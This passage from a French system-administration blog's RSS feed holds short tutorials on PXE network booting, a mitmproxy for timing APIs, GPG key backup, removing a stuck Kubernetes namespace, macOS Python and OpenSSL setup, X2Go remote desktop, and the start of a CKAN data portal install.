            <pubDate>Fri, 06 Nov 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-les-derni%C3%A8res-distros-linux-avec-pxe/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui j&amp;rsquo;ai besoin de réinstaller mon système. Je vais installer Ubuntu 20.04.
Etant donné que c&amp;rsquo;est une tâche que je répète régulièrement car j&amp;rsquo;expérimente beaucoup, je préfère me passer de clés USB car cela me fait perdre du temps.
Je préfère utiliser un amorçage PXE qui me permet de charger des ISOs depuis mon réseau local.
Dans cet article, nous allons rester simple et nous contenter de mettre à disposition des distro Linux.
je skip volontairement les machines Windows ou les machines Linux prêtes à l&amp;rsquo;emploi avec serveur NFS&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Aujourd&rsquo;hui j&rsquo;ai besoin de réinstaller mon système. Je vais installer Ubuntu 20.04.
Etant donné que c&rsquo;est une tâche que je répète régulièrement car j&rsquo;expérimente beaucoup, je préfère me passer de clés USB car cela me fait perdre du temps.
Je préfère utiliser un amorçage PXE qui me permet de charger des ISOs depuis mon réseau local.
Dans cet article, nous allons rester simple et nous contenter de mettre à disposition des distro Linux.
je skip volontairement les machines Windows ou les machines Linux prêtes à l&rsquo;emploi avec serveur NFS&hellip;</p>
<br/>
<p><img src="/images/pxe.png" alt="pxe"></p>
<br/>
<h2 id="installation-du-serveur-pxe">Installation du serveur PXE</h2>
<p><strong>Pré-requis</strong></p>
<ul>
<li>Une VM sous Debian 10</li>
<li>Network bridge</li>
<li>8go d&rsquo;espace libre</li>
</ul>
<br/>
<p><strong>Installation du proxy DHCP</strong></p>
<p>Mon réseau local comporte déjà un serveur DHCP. Nous allons utiliser un proxy DHCP <a href="http://www.thekelleys.org.uk/dnsmasq/doc.html">dnsmasq</a> qui va forwarder les requêtes au serveur DHCP déjà présent sur mon réseau et renverra les réponses en les adaptant si nécessaire.
Cette installation est temporaire puisque je vais bientôt me doter d&rsquo;un <a href="https://www.pfsense.org/">pfsense</a> physique pour mieux segmenter, sécuriser mon réseau local. Bref procédons à l&rsquo;installation de notre proxy.</p>
<pre tabindex="0"><code>sudo apt install dnsmasq
</code></pre><br/>
<p><strong>Installation de serveur TFTP</strong></p>
<p>Pour réaliser un amorçage PXE il faut un serveur TFTP <a href="https://fr.wikipedia.org/wiki/Trivial_File_Transfer_Protocol">(Trivial FTP)</a> et le package syslinux pour démarrer les OS.</p>
<pre tabindex="0"><code>sudo apt install pxelinux syslinux-common
</code></pre><br/>
<p><strong>Configuration du serveur TFTP et du menu PXE</strong></p>
<p>Création des répertoires de base et backup dnsmasq</p>
<pre tabindex="0"><code># Création des répertoires de base
sudo mkdir -p /var/tftpboot/pxelinux.cfg
cd /var/tftpboot
sudo touch pxelinux.cfg/default

sudo cp /usr/lib/PXELINUX/pxelinux.0 .
sudo cp /usr/lib/syslinux/memdisk .
sudo cp /usr/lib/syslinux/modules/bios/* .

# Backup conf dnsmasq
sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.old
</code></pre><br/>
<p>Configuration du proxy DHCP.
On édite le fichier <code>/etc/dnsmasq.conf</code> et on ajoute la configuration suivante:</p>
<pre tabindex="0"><code>## On n&#39;active pas le serveur DNS
port=0

## On initialise le serveur TFTP
enable-tftp
tftp-root=/var/tftpboot

## On initialise le proxy DHCP
dhcp-range=192.168.0.0, proxy

## On initialise le service PXE
dhcp-boot=pxelinux.0

## On initialise le menu du service PXE
pxe-prompt=&#34;Veuillez faire votre choix :&#34;
pxe-service=x86PC, &#34;Boot depuis le disque local&#34;, 30
pxe-service=x86PC, &#34;Interface PXE&#34;, pxelinux

## On active le log du serveur DHCP
log-dhcp
</code></pre><br/>
<p>On redémarre le proxy:</p>
<pre tabindex="0"><code>sudo systemctl restart dnsmasq.service
</code></pre><p>L&rsquo;amorçage PXE peut presque commencer.
Si vous tentez de démarrer une distro ou un outils quelconque via réseau, le serveur TFTP va être détecté mais cela ne va pas fonctionner car notre PXE n&rsquo;a pas encore de menu.</p>
<br/>
<h2 id="configuration-du-menu-pxe">Configuration du menu PXE</h2>
<p>On édite le fichier <code>/var/tftpboot/pxelinux.cfg/default</code> et on ajoute le contenu suivant:</p>
<pre tabindex="0"><code>DEFAULT menu.c32
MENU MARGIN 0
MENU ROWS -9
MENU TABMSG
MENU TABMSGROW -3
MENU CMDLINEROW -3
MENU HELPMSGROW -4
MENU HELPMSGENDROW -1
MENU COLOR SCREEN 30;47
MENU COLOR BORDER 30;47
MENU COLOR TITLE 30;47
MENU COLOR SCROLLBAR 30;47
MENU COLOR SEL 37;40
MENU COLOR UNSEL 30;47
MENU COLOR CMDMARK 30;47
MENU COLOR CMDLINE 30;47
MENU COLOR TABMSG 37;40
MENU COLOR DISABLED 37;40
MENU COLOR HELP 37;40
MENU TITLE Serveur d&#39;installation PXE
LABEL hdt
 MENU LABEL ^Hardware Detection Tool
 KERNEL hdt.c32
LABEL reboot
 MENU DEFAULT
 MENU LABEL Reboot
 COM32 reboot.c32
LABEL debian
 MENU LABEL ^Debian 10.6 (Netboot)
 LINUX memdisk
 INITRD _iso/debian_10.6_netboot.iso
LABEL fedora33_http
 MENU LABEL ^Fedora 33 (HTTP)
 KERNEL _iso/fedora_33/vmlinuz
 INITRD _iso/fedora_33/initrd.img
 APPEND ip=dhcp inst.stage2=http://mirror.in2p3.fr/pub/fedora/linux/releases/33/Everything/x86_64/os/
LABEL netboot
 MENU LABEL ^Netboot.xyz
 LINUX memdisk
 INITRD _iso/netboot.xyz.iso
 APPEND iso raw
LABEL ubuntu_http
  MENU LABEL ^Ubuntu 20.04 Live (HTTP)
  KERNEL _iso/ubuntu_20.04/vmlinuz
  INITRD _iso/ubuntu_20.04/initrd
  APPEND root=/dev/ram0 ramdisk_size=1500000 ip=dhcp url=http://releases.ubuntu.com/focal/ubuntu-20.04.1-live-server-amd64.iso
</code></pre><br/>
<h2 id="ajout-des-isos">Ajout des ISOs</h2>
<p>On crée d&rsquo;abord le répertoire qui contiendra les disques d&rsquo;amorçage:</p>
<pre tabindex="0"><code>sudo mkdir /var/tftpboot/_iso
</code></pre><br/>
<p>On ajoute Debian 10.6:</p>
<pre tabindex="0"><code>cd /var/tftpboot/_iso
wget http://ftp.nl.debian.org/debian/dists/buster/main/installer-amd64/current/images/netboot/mini.iso
mv mini.iso debian_10.6_netboot.iso
</code></pre><br/>
<p>On ajoute Ubuntu 20.04:</p>
<pre tabindex="0"><code>wget http://releases.ubuntu.com/focal/ubuntu-20.04.1-live-server-amd64.iso
mount ubuntu-20.04.1-live-server-amd64.iso /mnt
cp /mnt/casper/{vmlinuz,initrd} /var/tftpboot/_iso/ubuntu_20.04/
cp /usr/lib/syslinux/modules/bios/ldlinux.c32 /var/tftpboot/_iso/ubuntu_20.04/
</code></pre><br/>
<p>On ajoute également Fedora et surtout Netboot qui permet d&rsquo;aller chercher automatiquement un grand nombre de distro sur internet.</p>
]]></content>
        </item>
        
        <item>
            <title>Créer un proxy MITM pour mesurer la performance des APIs</title>
            <link>https://leandeep.com/cr%C3%A9er-un-proxy-mitm-pour-mesurer-la-performance-des-apis/</link>
            <pubDate>Mon, 26 Oct 2020 20:44:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-un-proxy-mitm-pour-mesurer-la-performance-des-apis/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Nous allons voir dans cet article comment mettre en place un proxy MITM pour mesurer la performance d&amp;rsquo;une API.
Nous parlons ici d&amp;rsquo;une solution basique &amp;ldquo;quick win&amp;rdquo; à mettre en place en 5 minutes. Je ne parle pas d&amp;rsquo;une solution APM évoluée où il faut installer un SDK&amp;hellip;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker run --rm -it \
 -p 8080:8080 \
 -p 8081:8081 \
 oeeckhoutte/mitmproxy mitmweb \
  --web-host 0.0.0.0
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;usage&#34;&gt;Usage&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;watch -n 5 &amp;#34;curl -k --proxy http://127.0.0.1:8080 http://192.168.0.24:8000/&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Rendez-vous sur &lt;a href=&#34;http://localhost:8081&#34;&gt;http://localhost:8081&lt;/a&gt; pour accéder à l&amp;rsquo;interface MITM proxy.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Nous allons voir dans cet article comment mettre en place un proxy MITM pour mesurer la performance d&rsquo;une API.
Nous parlons ici d&rsquo;une solution basique &ldquo;quick win&rdquo; à mettre en place en 5 minutes. Je ne parle pas d&rsquo;une solution APM évoluée où il faut installer un SDK&hellip;</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>docker run --rm -it \
 -p 8080:8080 \
 -p 8081:8081 \
 oeeckhoutte/mitmproxy mitmweb \
  --web-host 0.0.0.0
</code></pre><br/>
<h2 id="usage">Usage</h2>
<pre tabindex="0"><code>watch -n 5 &#34;curl -k --proxy http://127.0.0.1:8080 http://192.168.0.24:8000/&#34;
</code></pre><br/>
<p>Rendez-vous sur <a href="http://localhost:8081">http://localhost:8081</a> pour accéder à l&rsquo;interface MITM proxy.</p>
<br/>
<pre tabindex="0"><code>watch -n 1 &#34;ab -n 3 -v 3 https://mon_api/endpoint &gt;&gt; ab.txt&#34;
</code></pre><br/>
<p>Pour compter le nombre d&rsquo;erreurs 5xx, on peut utiliser vim:</p>
<pre tabindex="0"><code>:%s/HTTP\/1.1 5//n
</code></pre><br/>
<p>On peut compte aussi les &ldquo;permanent moves&rdquo; 3xx:</p>
<pre tabindex="0"><code>:%s/HTTP\/1.1 3//n
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Regarder un film sur vlc over SSH</title>
            <link>https://leandeep.com/regarder-un-film-sur-vlc-over-ssh/</link>
            <pubDate>Thu, 08 Oct 2020 18:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/regarder-un-film-sur-vlc-over-ssh/</guid>
            <description>&lt;p&gt;Tout est dans le titre. Avec la commande ci-dessous, vous pouvez visionner sur VLC un film présent sur une machine distante via SFTP (Secure File Transfer Protocol).
C&amp;rsquo;est très pratique si vous avez du contenu vidéo sur une autre machine et vous ne voulez pas attendre de le télécharger pour le regarder.&lt;/p&gt;
&lt;br/&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;vlc sftp://user@host:/path/to/file
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Bon visionnage.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Tout est dans le titre. Avec la commande ci-dessous, vous pouvez visionner sur VLC un film présent sur une machine distante via SFTP (Secure File Transfer Protocol).
C&rsquo;est très pratique si vous avez du contenu vidéo sur une autre machine et vous ne voulez pas attendre de le télécharger pour le regarder.</p>
<br/>
<pre tabindex="0"><code>vlc sftp://user@host:/path/to/file
</code></pre><br/>
<p>Bon visionnage.</p>
]]></content>
        </item>
        
        <item>
            <title>Extraire et importer toutes ses clés GPG</title>
            <link>https://leandeep.com/extraire-et-importer-toutes-ses-cl%C3%A9s-gpg/</link>
            <pubDate>Mon, 05 Oct 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/extraire-et-importer-toutes-ses-cl%C3%A9s-gpg/</guid>
            <description>&lt;h2 id=&#34;export&#34;&gt;Export&lt;/h2&gt;
&lt;p&gt;Exporter toutes les clés publiques GPG dans un fichier base64:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg -a --export &amp;gt; /tmp/pub_gpg_keys.asc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Exporter toutes les clés privées:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg -a --export-secret-keys &amp;gt; /tmp/private_gpg_keys.asc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Exporter la trust database:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg --export-ownertrust &amp;gt; trust_gpg_db.txt
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;import&#34;&gt;Import&lt;/h2&gt;
&lt;p&gt;Après avoir copié les fichiers sur une nouvelle machine et installé GPG, importer les clés:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg --import ./private_gpg_keys.asc
gpg --import ./pub_gpg_keys.asc
gpg --import-ownertrust ./trust_gpg_db.txt
gpg -K
gpg -k
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;commandes-utiles&#34;&gt;Commandes utiles&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Lister ses clés publiques: &lt;code&gt;gpg --list-keys&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="export">Export</h2>
<p>Exporter toutes les clés publiques GPG dans un fichier base64:</p>
<pre tabindex="0"><code>gpg -a --export &gt; /tmp/pub_gpg_keys.asc
</code></pre><br/>
<p>Exporter toutes les clés privées:</p>
<pre tabindex="0"><code>gpg -a --export-secret-keys &gt; /tmp/private_gpg_keys.asc
</code></pre><br/>
<p>Exporter la trust database:</p>
<pre tabindex="0"><code>gpg --export-ownertrust &gt; trust_gpg_db.txt
</code></pre><br/>
<h2 id="import">Import</h2>
<p>Après avoir copié les fichiers sur une nouvelle machine et installé GPG, importer les clés:</p>
<pre tabindex="0"><code>gpg --import ./private_gpg_keys.asc
gpg --import ./pub_gpg_keys.asc
gpg --import-ownertrust ./trust_gpg_db.txt
gpg -K
gpg -k
</code></pre><br/>
<h2 id="commandes-utiles">Commandes utiles</h2>
<ul>
<li>
<p>Lister ses clés publiques: <code>gpg --list-keys</code></p>
</li>
<li>
<p>Lister ses clés privées: <code>gpg --list-secret-keys</code></p>
</li>
<li>
<p>Effacer une clé publique: <code>gpg --delete-key ...</code></p>
</li>
<li>
<p>Effacer une clé privée: <code>gpg --delete-secret-key ...</code></p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Forcer l&#39;effacement d&#39;un namespace Kubernetes</title>
            <link>https://leandeep.com/forcer-leffacement-dun-namespace-kubernetes/</link>
            <pubDate>Mon, 05 Oct 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/forcer-leffacement-dun-namespace-kubernetes/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Parfois lorsqu&amp;rsquo;on tente d&amp;rsquo;effacer un namespace, il ne s&amp;rsquo;efface pas vraiment et reste dans l&amp;rsquo;état &lt;strong&gt;terminated&lt;/strong&gt;.&lt;br/&gt;
Si vous essayez d&amp;rsquo;exécuter la commande &lt;code&gt;kubectl delete ns mon_namespace&lt;/code&gt; et que vous recevez un message comme ci-dessous, ce tutoriel est fait pour vous:&lt;br/&gt;
&lt;code&gt;Error from server (Conflict): Operation cannot be fulfilled on namespaces &amp;quot;mon_namespace&amp;quot;: The system is ensuring all content is removed from this namespace.  Upon completion, this namespace will automatically be purged by the system.&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Parfois lorsqu&rsquo;on tente d&rsquo;effacer un namespace, il ne s&rsquo;efface pas vraiment et reste dans l&rsquo;état <strong>terminated</strong>.<br/>
Si vous essayez d&rsquo;exécuter la commande <code>kubectl delete ns mon_namespace</code> et que vous recevez un message comme ci-dessous, ce tutoriel est fait pour vous:<br/>
<code>Error from server (Conflict): Operation cannot be fulfilled on namespaces &quot;mon_namespace&quot;: The system is ensuring all content is removed from this namespace.  Upon completion, this namespace will automatically be purged by the system.</code></p>
<br/>
<h2 id="steps">Steps</h2>
<p><strong>1. Exporter le contenu du namespace au format json</strong></p>
<pre tabindex="0"><code>kubectl get namespace mon_namespace -o json &gt; mon_namespace.json
</code></pre><br/>
<p><strong>2. Ouvrir le fichier <code>mon_namespace.json</code> et retirer <code>kubernetes</code> des <code>finalizers</code></strong></p>
<br/>
<p><strong>3. Appelez l&rsquo;API de votre cluster et mettez à jour votre namespace</strong></p>
<ul>
<li>Option 1
<pre tabindex="0"><code>kubectl cluster-info
</code></pre>Puis exécuter la commande.
<pre tabindex="0"><code>curl -k -H &#34;Content-Type: application/json&#34; -X PUT --data-binary @/tmp/mon_namespace.json http(s)://[IP]:[PORT]/api/v1/namespaces/[NAMESPACE]/finalize
</code></pre>Si vous n&rsquo;avez pas l&rsquo;erreur suivante, votre namespace va s&rsquo;effacer.
<pre tabindex="0"><code>namespaces &#34;mon_namespace&#34; is forbidden: User &#34;system:anonymous&#34; cannot update namespaces/finalize in the namespace &#34;mon_namespace&#34;
</code></pre>Si vous recevez le message précédent, suivez les instructions de l&rsquo;option 2.</li>
</ul>
<br/>
<ul>
<li>Option 2
<pre tabindex="0"><code>kubectl proxy  
</code></pre>Puis exécuter la commande:
<pre tabindex="0"><code>curl -k -H &#34;Content-Type: application/json&#34; -X PUT --data-binary @/tmp/mon_namespace.json http://127.0.0.1:8001/api/v1/namespaces/[NAMESPACE]/finalize
</code></pre></li>
</ul>
<br/>
<p><strong>4. Final check</strong></p>
<pre tabindex="0"><code>kubectl get namespaces
</code></pre><br/>
<p>Et voilà.</p>
<blockquote>
<p><a href="https://leandeep.com/commandes-utiles-kubernetes/">Lien vers article &ldquo;commandes utiles Kubernetes&rdquo;</a></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Installation de Python propre sur OSX Catalina</title>
            <link>https://leandeep.com/installation-de-python-propre-sur-osx-catalina/</link>
            <pubDate>Thu, 01 Oct 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installation-de-python-propre-sur-osx-catalina/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Il existe tellement d&amp;rsquo;outils pour gérer son installation de Python sur OSX que cela peut vite devenir un cauchemar.
Nous sommes début octobre 2020, peu de temps avant la sortie de OSX Big Sur, cet article dédié à Catalina peut paraître déjà dépassé mais je vous recommande vraiment d&amp;rsquo;attendre avant de l&amp;rsquo;installer. Personnellement j&amp;rsquo;attends toujours minimum 6 mois à 1 an avant d&amp;rsquo;upgrader OSX, le temps que les premiers correctifs en tous genres aient été réalisé.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Il existe tellement d&rsquo;outils pour gérer son installation de Python sur OSX que cela peut vite devenir un cauchemar.
Nous sommes début octobre 2020, peu de temps avant la sortie de OSX Big Sur, cet article dédié à Catalina peut paraître déjà dépassé mais je vous recommande vraiment d&rsquo;attendre avant de l&rsquo;installer. Personnellement j&rsquo;attends toujours minimum 6 mois à 1 an avant d&rsquo;upgrader OSX, le temps que les premiers correctifs en tous genres aient été réalisé.</p>
<p>OSX Catalina a souffert d&rsquo;un problème avec openssl. Dans cet article, nous allons voir comment installer proprement Python avec virtualenvwrapper. C&rsquo;est simple et efficace et on peut switcher d&rsquo;environnements en environnements avec 2 versions de Python 3. Nous allons aussi appliquer le fix pour openssl.</p>
<br/>
<h1 id="installation">Installation</h1>
<p><strong>Installation de Python et OpenSSL</strong></p>
<pre tabindex="0"><code>brew update &amp;&amp; brew upgrade
brew doctor
# S&#39;il y a un problème:
brew missing

# Installation de openssl@1.1 1.1.1g
brew install openssl

brew install python@3.7
brew install python@3.8
</code></pre><br/>
<p><strong>Installation de virtualenvwrapper</strong></p>
<pre tabindex="0"><code>python3 -m pip install virtualenv
python3 -m pip install virtualenvwrapper
</code></pre><br/>
<p>Ajouter les lignes suivantes dans <code>~/.zshrc</code>:</p>
<pre tabindex="0"><code>export WORKON_HOME=$HOME/.virtualenvs
export PROJECT_HOME=$HOME/Devel
source /usr/local/bin/virtualenvwrapper.sh
</code></pre><br/>
<p>Mettre à jour zsh:</p>
<pre tabindex="0"><code>source ~/.zshrc
</code></pre><br/>
<p><strong>Création d&rsquo;un environnement virtuel</strong></p>
<pre tabindex="0"><code>mkvirtualenv py3_env -p python3 -a .
</code></pre><br/>
<p><strong>Fix OpenSSL issue</strong></p>
<p><strong>Option 1</strong></p>
<blockquote>
<p>Erreur system: <code>&quot;Invalid dylib load. Clients should not load the unversioned libcrypto dylib as it does not have a stable ABI.&quot;</code></p></blockquote>
<pre tabindex="0"><code>cd /usr/local/Cellar/openssl@1.1/1.1.1g/lib
sudo cp libssl.*.dylib libcrypto.*.dylib /usr/local/lib/
cd /usr/local/lib
mv libssl.dylib libssl_bak.dylib
# ou mv libssl3.dylib libssl3_bak.dylib
mv libcrypto.dylib libcrypto_bak.dylib
# ou mv libcrypto3.dylib libcrypto3_bak.dylib
sudo ln -s libcrypto.1.1.dylib libcrypto.dylib
sudo ln -s libssl.1.1.dylib libssl.dylib
</code></pre><br/>
<p><strong>Option 2</strong></p>
<p>Rendez-vous sur <a href="https://www.openssl.org/source/old/">https://www.openssl.org/source/old/</a> et télécharger la version d&rsquo;openssl que vous avez besoin.</p>
<p>Allez dans le dossier nouvellement créé après avoir extrait l&rsquo;archive. Exécuter ensuite les commandes suivantes:</p>
<pre tabindex="0"><code>make clean
./Configure darwin64-x86_64-cc -shared
make
make install
</code></pre><p>Placer enfin <code>libcrypto.1.0.0.dylib</code> et <code>libssl.1.0.0.dylib</code> dans le répertoire <code>/usr/local/Cellar/openssl/lib/</code> ou <code>/usr/local/Cellar/openssl@1.1/lib/</code> si le précédent n&rsquo;existe pas.</p>
]]></content>
        </item>
        
        <item>
            <title>Remote Desktop over SSH avec X2GO sur Ubuntu</title>
            <link>https://leandeep.com/remote-desktop-over-ssh-avec-x2go-sur-ubuntu/</link>
            <pubDate>Fri, 25 Sep 2020 18:59:00 +0200</pubDate>
            
            <guid>https://leandeep.com/remote-desktop-over-ssh-avec-x2go-sur-ubuntu/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment mettre en place du remote desktop sur Ubuntu 18.04.
On ne va pas installer un serveur VNC. Ici, on va faire du X11 forwarding. Le protocole NX va nous permettre de transmettre des données vidéos, audio, etc. via une connexion SSH.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-de-la-partie-serveur-sur-ubuntu&#34;&gt;Installation de la partie serveur sur Ubuntu&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Installation de X2GO&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# On ajoute le package permettant d&amp;#39;ajouter des PPA
sudo apt-get install software-properties-common

# On ajoute X2Go PPA
sudo add-apt-repository ppa:x2go/stable

# On met à jour la base de données contenant les packages disponibles
sudo apt-get update

# On installe X2GO
sudo apt-get install x2goserver x2goserver-xsession
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation d&amp;rsquo;un desktop environment&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons voir comment mettre en place du remote desktop sur Ubuntu 18.04.
On ne va pas installer un serveur VNC. Ici, on va faire du X11 forwarding. Le protocole NX va nous permettre de transmettre des données vidéos, audio, etc. via une connexion SSH.</p>
<br/>
<h2 id="installation-de-la-partie-serveur-sur-ubuntu">Installation de la partie serveur sur Ubuntu</h2>
<p><strong>Installation de X2GO</strong></p>
<pre tabindex="0"><code># On ajoute le package permettant d&#39;ajouter des PPA
sudo apt-get install software-properties-common

# On ajoute X2Go PPA
sudo add-apt-repository ppa:x2go/stable

# On met à jour la base de données contenant les packages disponibles
sudo apt-get update

# On installe X2GO
sudo apt-get install x2goserver x2goserver-xsession
</code></pre><br/>
<p><strong>Installation d&rsquo;un desktop environment</strong></p>
<p>Même si votre Ubuntu 18.04 contient déjà un desktop environment, vous devrez en installer un nouveau compatible avec le client de X2GO. Je recommande l&rsquo;installation de XFCE ou LXDE qui sont légers. Il vous permettra d&rsquo;avoir des meilleurs performances que d&rsquo;autres desktop environments plus lourds ou que Ubuntu Desktop installé par défaut.</p>
<pre tabindex="0"><code># Installation de XFCE
sudo apt-get install xfce4

# Ou LXDE
# sudo apt-get install lxde

# Ou Mate
sudo apt install mate-core mate-desktop-environment mate-notification-daemon
</code></pre><blockquote>
<p>Si vous trouvez XFCE ou LXDE trop moches, vous pouvez toujours installer Mate Desktop ou KDE Plasma Desktop:
<br/><code>sudo apt-get install mate-core mate-desktop-environment mate-notification-daemon</code> <br/> ou <br/> <code>sudo apt install kde-plasma-desktop</code></p></blockquote>
<br/>
<h2 id="installation-du-client">Installation du client</h2>
<p><strong>Linux</strong></p>
<pre tabindex="0"><code># Ubuntu
sudo apt-get install x2goclient

# Fedora
sudo yum install x2goclient
</code></pre><br/>
<p><strong>OSX</strong></p>
<p>Rendez-vous sur <a href="https://wiki.x2go.org/doku.php/doc:installation:x2goclient">https://wiki.x2go.org/doku.php/doc:installation:x2goclient</a> pour avoir de la documentation.
Les packages .dmg sont disponibles ici: <a href="https://code.x2go.org/releases/binary-macosx/x2goclient/">https://code.x2go.org/releases/binary-macosx/x2goclient/</a></p>
<br/>
<p>Il est également nécessaire d&rsquo;installer (XQuartz)[https://www.xquartz.org/] et de rebooter votre Mac!</p>
<br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p>Si lors de la connexion à votre serveur vous obtenez le message suivant <code>Connection failed. stdin: is not a tty</code>, éditez le fichier <code>/home/votre_user/.profile</code> et changer la ligne <code>mesg n</code>
par <code>tty -s &amp;&amp; mesg n</code>.</p>
<br/>
<h2 id="autres">Autres</h2>
<ul>
<li>Connexion SSH et forward X11: <code>ssh -X</code>. Il est ensuite possible de démarrer n&rsquo;importe quelle application avec interface graphique.</li>
<li>Lister les desktop environments: <code>ls -l /usr/share/xsessions/</code></li>
<li>Sur Debian 8 (cf &ldquo;jessie&rdquo; via la commande <code>lsb_release -a</code>), l&rsquo;installation de X2GO se fait via les commandes suivantes:
<pre tabindex="0"><code>sudo apt-key adv --recv-keys --keyserver keys.gnupg.net E1F958385BFE2B6E
echo &#39;deb http://packages.x2go.org/debian jessie main&#39; | sudo tee /etc/apt/sources.list.d/x2go.list
sudo apt-get install x2goserver x2goserver-xsession
</code></pre></li>
<li>Si vous installez X2GO sur Kubuntu 20.04+ et que vous démarrez une session vous aurez sans doute l&rsquo;erreur suivante: <code>Unable to execute: startkde</code>. La commande <code>startkde</code> n&rsquo;existe plus dans Kubuntu 20.04. Si vous avez cette erreur, changez le type de session en sélectionnant <code>Custom desktop</code> et  entrez <code>/usr/bin/startplasma-x11</code> dans le champ commande.</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Mettre en place un datahub pour organiser ses datasets</title>
            <link>https://leandeep.com/mettre-en-place-un-datahub-pour-organiser-ses-datasets/</link>
            <pubDate>Sat, 12 Sep 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/mettre-en-place-un-datahub-pour-organiser-ses-datasets/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons créer voir comment créer un datahub pour organiser ses datasets.
La solution open source que nous allons utiliser est &lt;a href=&#34;https://ckan.org/&#34;&gt;CKAN&lt;/a&gt;. D&amp;rsquo;après leur site internet, il s&amp;rsquo;agit de &amp;ldquo;the world’s leading Open Source data portal platform&amp;rdquo;. Je ne sais pas si c&amp;rsquo;est vrai mais c&amp;rsquo;est utilisé par pas mal de sites institutionnels comme data.gouv (USA), opendata.swiss, Government of Canada, Berlin open data&amp;hellip; La solution est simple à installer et est très pratique. Elle permet d&amp;rsquo;organiser, d&amp;rsquo;avoir des stats d&amp;rsquo;utilisation et de centraliser tous ses datasets au même endroit.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons créer voir comment créer un datahub pour organiser ses datasets.
La solution open source que nous allons utiliser est <a href="https://ckan.org/">CKAN</a>. D&rsquo;après leur site internet, il s&rsquo;agit de &ldquo;the world’s leading Open Source data portal platform&rdquo;. Je ne sais pas si c&rsquo;est vrai mais c&rsquo;est utilisé par pas mal de sites institutionnels comme data.gouv (USA), opendata.swiss, Government of Canada, Berlin open data&hellip; La solution est simple à installer et est très pratique. Elle permet d&rsquo;organiser, d&rsquo;avoir des stats d&rsquo;utilisation et de centraliser tous ses datasets au même endroit.</p>
<br/>
<h2 id="installation-sur-ubuntu-18">Installation sur Ubuntu 18+</h2>
<p><strong>Pré-requis</strong></p>
<pre tabindex="0"><code>sudo apt update
sudo apt install -y git docker.io docker-compose

# Add your user to the &#34;docker&#34; group
sudo usermod -aG docker &lt;myUser&gt;

# Restart the system
sudo shutdown -rf 0
</code></pre><br/>
<p><strong>Clonage du repo et configuration:</strong></p>
<pre tabindex="0"><code>mkdir ./ckan
cd ~/ckan

git clone https://github.com/oeeckhoutte/docker-ckan
cd docker-ckan

# dupliquer le fichier de config
cp .env.example .env
</code></pre><p>Editer le fichier <code>.env</code> et remplacer <code>CKAN_SITE_URL</code> par <code>http://localhost:5000</code>.</p>
<blockquote>
